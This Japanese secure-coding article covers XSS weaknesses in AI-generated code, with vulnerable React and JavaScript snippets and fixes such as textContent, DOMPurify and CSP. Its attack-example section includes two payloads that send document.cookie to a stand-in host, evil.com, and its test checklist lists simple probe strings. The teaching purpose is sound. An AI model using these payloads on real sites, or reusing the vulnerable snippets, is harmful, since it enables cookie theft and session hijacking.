アンチパターン⑪「XSS無防備」
【データで見る】衝撃的な統計数値
Veracodeの2025年調査は、衝撃的な数字を示しています。
XSS防御の失敗率: 86%
AI生成コードのサンプルの86%が、XSS(クロスサイトスクリプティング)防御に失敗していました。
また、CodeRabbitの調査では:
AI生成コードはXSS脆弱性を追加する可能性が2.74倍
XSSとは:AI生成コードで頻発する脆弱性
XSS(Cross-Site Scripting)は、悪意あるスクリプトをWebページに注入する攻撃です。
攻撃の流れ:
1. 攻撃者が悪意あるスクリプトを投稿
例: <script>stealCookies()</script>
2. サーバーがそのまま保存
3. 他のユーザーがページを閲覧
4. ブラウザがスクリプトを実行
5. Cookie窃取、セッション乗っ取り、etc.
【要注意】典型的な危険コードパターン
AIが生成しがちなXSS脆弱性のあるコードを見てみましょう。
危険なコード(React/JavaScript):
// ❌ innerHTMLにユーザー入力を直接挿入
function displayMessage(userInput) {
document.getElementById('message').innerHTML = userInput;
}
// ❌ dangerouslySetInnerHTMLを安易に使用
function Comment({ content }) {
return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
// ❌ document.writeの使用
document.write(userData);
// ❌ jQueryのhtml()メソッド
$('#content').html(userComment);
攻撃例:
<!-- ユーザーが以下を入力 -->
<img src="x" onerror="fetch('https://evil.com?cookie='+document.cookie)">
<!-- または -->
<script>
document.location = 'https://evil.com/steal?cookie=' + document.cookie;
</script>
XSS脆弱性の種類とAI生成コードへの影響
XSSには3つの種類があります。
1. 反射型XSS(Reflected XSS)
- URLパラメータに悪意あるスクリプト
- サーバーがそのままレスポンスに含める
- ユーザーがリンクをクリックすると発動
2. 格納型XSS(Stored XSS)
- 悪意あるスクリプトがデータベースに保存
- 他のユーザーがページを開くと発動
- より深刻(多くのユーザーに影響)
3. DOM-based XSS
- クライアントサイドのJavaScriptが原因
- サーバーを経由しない
- SPAで多い
実践的な解決策:XSS対策
XSSを防ぐための実装方法を解説します。
実践的な解決策1: textContentを使用
// ✅ textContentを使用(HTMLとして解釈されない)
document.getElementById('message').textContent = userInput;
// React: 自動でエスケープされる
function Comment({ content }) {
return <div>{content}</div>; // 安全
}
実践的な解決策2: サニタイズライブラリ
import DOMPurify from 'dompurify';
// HTMLを許可する場合はサニタイズ
const cleanHtml = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
element.innerHTML = cleanHtml;
実践的な解決策3: CSP(Content Security Policy)
// HTTPヘッダーで設定
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' https:;
// または <meta> タグで
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
実践的な解決策4: エスケープ関数
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
// または既存ライブラリ
import { escape } from 'lodash';
const safe = escape(userInput);
フレームワーク別の対策
React:
// ✅ デフォルトで安全(自動エスケープ)
<div>{userInput}</div>
// ❌ 危険(必要な場合のみ、サニタイズして使用)
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />
Vue.js:
<!-- ✅ 安全(自動エスケープ) -->
<div>{{ userInput }}</div>
<!-- ❌ 危険(サニタイズ必須) -->
<div v-html="sanitizedInput"></div>
サーバーサイド:
// Express.js + EJS
// 自動エスケープ
<%= userInput %>
// エスケープなし(危険)
<%- userInput %>
プロンプトによるセキュリティ対策
AIにコード生成を依頼する際のプロンプト例です。
良いプロンプト:
コメント表示機能を実装して:
## 必須のセキュリティ要件
- XSS対策を実装
- ユーザー入力は必ずエスケープ
- HTMLを許可する場合はDOMPurifyでサニタイズ
- innerHTMLは使用禁止
- dangerouslySetInnerHTMLは使用禁止
- CSPヘッダーを設定
実装前チェックリスト
XSS対策のチェックリストです。
コードレビュー時:
- innerHTMLを使用していないか
- dangerouslySetInnerHTMLを使用していないか
- document.writeを使用していないか
- ユーザー入力がエスケープされているか
設定確認:
- CSPヘッダーが設定されているか
- HttpOnly Cookieを使用しているか
- X-XSS-Protectionヘッダーがあるか
テスト時:
-
<script>alert(1)</script>が実行されないか -
<img onerror="...">が実行されないか - イベントハンドラが注入されないか
この事例から学ぶべき教訓と実践ポイント
「XSS無防備」から学ぶべきことは以下の通りです。
-
86%がXSS防御に失敗
- AI生成コードの大半が脆弱
-
2.74倍の脆弱性追加
- AIは積極的にXSSを作り込む
-
textContentを使う
- innerHTMLは避ける
-
サニタイズライブラリ
- DOMPurifyを使用
-
CSPを設定
- 多層防御
まとめ:重要ポイントの振り返り
- AI生成コードの 86%がXSS防御に失敗 (Veracode)
- XSS脆弱性を追加する可能性が 2.74倍 (CodeRabbit)
- 解決策:textContent、DOMPurify、CSP
- innerHTMLは使用禁止
- dangerouslySetInnerHTMLは使用禁止
- プロンプトで XSS対策を明示
- 教訓:ユーザー入力をHTMLに埋め込むな